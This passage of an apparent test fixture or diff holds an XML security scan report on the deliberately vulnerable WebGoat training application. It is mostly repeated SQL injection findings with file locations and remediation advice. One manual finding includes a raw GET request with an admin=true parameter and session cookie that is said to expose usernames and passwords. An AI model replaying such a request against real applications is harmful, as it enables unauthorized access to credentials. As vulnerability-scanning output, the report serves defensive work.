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</data>\n</screenshot>\n<code>The
+        following GET request will display the username and password for users within
+        the application.\n\nGET /WebGoat/attack?Screen=1073550134&amp;menu=2000&amp;admin=true
+        HTTP/1.1\nHost: targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
+        rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nCookie: JSESSIONID=13984BA559044E0A4610D4AC31B06B27\n</code></appendix></flaw></manualflaws></cwe></category></severity><severity
+        level=\"4\"><category categoryid=\"19\" categoryname=\"SQL Injection\" pcirelated=\"false\"><desc><para
+        text=\"SQL injection vulnerabilities occur when data enters an application
+        from an untrusted source and is used to dynamically construct a SQL query.
+        \ This allows an attacker to manipulate database queries in order to access,
+        modify, or delete arbitrary data.  Depending on the platform, database type,
+        and configuration, it may also be possible to execute administrative operations
+        on the database, access the filesystem, or execute arbitrary system commands.
+        \ SQL injection attacks can also be used to subvert authentication and authorization
+        schemes, which would enable an attacker to gain privileged access to restricted
+        portions of the application.\"/></desc><recommendations><para text=\"Several
+        techniques can be used to prevent SQL injection attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a SQL injection vulnerability.\"><bulletitem text=\"Use parameterized prepared
+        statements rather than dynamically constructing SQL queries.  This will prevent
+        the database from interpreting the contents of bind variables as part of the
+        query and is the most effective defense against SQL injection.\"/><bulletitem
+        text=\"Validate user-supplied input using positive filters (white lists) to
+        ensure that it conforms to the expected format, using centralized data validation
+        routines when possible. \"/><bulletitem text=\"Normalize all user-supplied
+        data before applying filters or regular expressions, or submitting the data
+        to a database. This means that all URL-encoded (%xx), HTML-encoded (&amp;#xx;),
+        or other encoding schemes should be reduced to the internal character representation
+        expected by the application. This prevents attackers from using alternate
+        encoding schemes to bypass filters.\"/><bulletitem text=\"When using database
+        abstraction libraries such as Hibernate, do not assume that all methods exposed
+        by the API will automatically prevent SQL injection attacks.  Most libraries
+        contain methods that pass arbitrary queries to the database in an unsafe manner.\"/></para></recommendations><cwe
+        cweid=\"89\" cwename=\"Improper Neutralization of Special Elements used in
+        an SQL Command ('SQL Injection')\" pcirelated=\"false\" owasp=\"929\" sans=\"864\"><description><text
+        text=\"This database query contains a SQL injection flaw.  The function call
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input.  An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database.\"/></description><staticflaws><flaw severity=\"4\" categoryname=\"Improper
+        Neutralization of Special Elements used in an SQL Command ('SQL Injection')\"
+        count=\"1\" issueid=\"126\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.Statement.executeUpdate\"
+        description=\"This database query contains a SQL injection flaw. The call
+        to java.sql.Statement.executeUpdate() constructs a dynamic SQL query using
+        a variable derived from user-supplied input. An attacker could exploit this
+        flaw to execute arbitrary SQL queries against the database. The first argument
+        to executeUpdate() contains tainted data from the variable arrSQL. The tainted
+        data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"106\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"26\"><exploitability_adjustments><exploitability_adjustment
+        score_adjustment=\"1\"><note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"91\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable arrSQL. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BackDoors.java\"
+        line=\"113\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BackDoors\"
+        functionprototype=\"apache.ecs.Element concept1(session.WebSession)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"236\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"BlindSqlInjection.java\"
+        line=\"122\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.BlindSqlInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"148\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"220\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"66\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"26\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"245\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable insertData1. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"134\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"206\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"148\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.Login\" functionprototype=\"byte
+        login(session.WebSession, int, java.lang.String)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"75\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"149\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login(session.WebSession, java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"106\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"191\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login_BACKUP(session.WebSession, java.lang.String,
+        java.lang.String)\" functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"247\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlNumericInjection.java\"
+        line=\"130\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlNumericInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"165\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlStringInjection.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlStringInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"225\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ThreadSafetyProblem.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.ThreadSafetyProblem\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
